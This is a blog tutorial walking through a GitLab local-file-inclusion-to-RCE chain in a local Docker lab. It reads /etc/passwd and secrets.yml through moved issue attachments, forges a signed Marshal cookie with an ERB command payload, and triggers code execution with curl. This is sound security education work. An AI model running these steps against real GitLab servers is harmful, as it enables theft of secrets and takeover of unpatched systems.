Exploiting GitLab: Baking a Poisonous Cookie

Posted on Feb 22, 2021

GitLab

GITLAB 8.5 - 12.9.0 LFI TO RCE

A few days ago I was working on a box @HackTheBox and found myself against a “you gotta do your job“ foothold for a machine. Everyone was discussing how chaining exploits and working around the box with an external auxiliary lab was more than necessary for an easy-rated box. It required more work than the usual on easy boxes, so I’m writing this one with the extent of clarifying the attack path.

TEST ENVIRONMENT AND THE LOCAL FILE INCLUSION

Let’s start by firing up a GitLab instance using docker! Then open your browser and go to your localhost.

docker run -d -p 443:443 -p 80:80 -p 2222:22 --name gitlab gitlab/gitlab-ce:12.8.1-ce.0

GitLab’s Initial Page

1 Choose a password for the admin user and login with the following email: [email protected].

Right after proceed with the creation of two projects.

Project 1

2

Project 2

3

Once you’ve finished creating these two projects, open an issue in one of them and attach a file.

Create Issue and Attach File

4

Local File Inclusion and Submit the Issue

5

Move the issue to Project 1

6

Select Project 1

7

8

9

$ curl http://127.0.0.1/root/project1/uploads/8f97998be7e9f02f6048e0db184920ce/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh

THE REMOTE CODE EXECUTION

Now if we… >D

How to hack a Rails app using its secret_token - Robert Heaton

“Create a new Rails app, open /config/initializers/secret_token.rb and you’ll see your app’s secret_token. As I will show you, if anyone who wishes you harm gets hold of this string then they can execute arbitrary code on your server. Troublingly, the Rails default includes it in your version control, and if you don’t remove it then anyone who gets or is given access to your codebase has complete, complete control over your server. Maybe you added them to your private repo for a code review, or unthinkingly put a side-project production app into a public repo, or someone sneaked a look at your Sublime while you were out. It doesn’t matter - if they have this key then they own you.”

– Robert Heaton

Retrieving the secret_token

Edit the issue and change the /etc/passwd location to the secrets file location: /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml. Then move it to Project 2.

Edit the issue to use the secret’s location*

10

Move it again to retrieve the correct URL

11

Then cURL the address just like before and there is your secret.

$ curl http://127.0.0.1/root/project2/uploads/ac52ce8ce08ea2dde7b2813188cfedb5/secrets.yml

# This file is managed by gitlab-ctl. Manual changes will be
# erased! To change the contents below, edit /etc/gitlab/gitlab.rb
# and run `sudo gitlab-ctl reconfigure`.

---
production:
  db_key_base: f3c10222bf26ce8f24510adfe7b02bc9a1205f1ba0127d00f22eb2de822c2f5cec3f91666a682b57dc7e70f69b49a03180e1152864e7a3a1f082c43acfa2e188
  secret_key_base: 1d1d8d07e52746f349e21fc345bafd63a7f49048cb7d52e5aa50ffeb1470c615e8dbcf25d95dadcfd4739d4434828bf60fb7cec4d75fadfc597201a278e84819
  otp_key_base: b96a0db4b82ac6e5283ec247f7da68befafde46916bb7f98209a50086e770742b1755271a96cbd2f585c4cc5b396a06bd89fe0a67e1c02fa4e5e8f462de25c8c
  openid_connect_signing_key: |
    -----BEGIN RSA PRIVATE KEY-----
.
.
.
    -----END RSA PRIVATE KEY-----

Fire up the gitlab-rails console from inside the lab (Docker Container).

┌──(kali㉿kali)-[~]
└─$ docker ps                                                                              
CONTAINER ID   IMAGE                          COMMAND             CREATED          STATUS                    PORTS                                                            NAMES
576c078dd4d2   gitlab/gitlab-ce:12.8.1-ce.0   "/assets/wrapper"   48 minutes ago   Up 48 minutes (healthy)   0.0.0.0:80->80/tcp, 0.0.0.0:443->443/tcp, 0.0.0.0:2222->22/tcp   gitlab

┌──(kali㉿kali)-[~]
└─$ docker exec -it 576 /bin/bash
root@576c078dd4d2:/# gitlab-rails console
--------------------------------------------------------------------------------
 GitLab:       12.8.1 (d18b43a5f5a) FOSS
 GitLab Shell: 11.0.0
 PostgreSQL:   10.12
--------------------------------------------------------------------------------
Loading production environment (Rails 6.0.2)
irb(main):001:0>

And then bake the cookie

# create cookie with reverse shell payload
request = ActionDispatch::Request.new(Rails.application.env_config)

request.env["action_dispatch.cookies_serializer"] = :marshal

cookies = request.cookie_jar

erb = ERB.new("<%= `echo Hello > /tmp/hello` %>")

depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)

cookies.signed[:cookie] = depr

puts cookies[:cookie]

Output

12

Now cURL GitLab with the fresh baked cookie.

curl -k -vvv 'http://127.0.0.1/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0O...0fe166444b2ae1012"

And there you have it.

File Created via RCE

13

That’s it! Happy Hacking! :d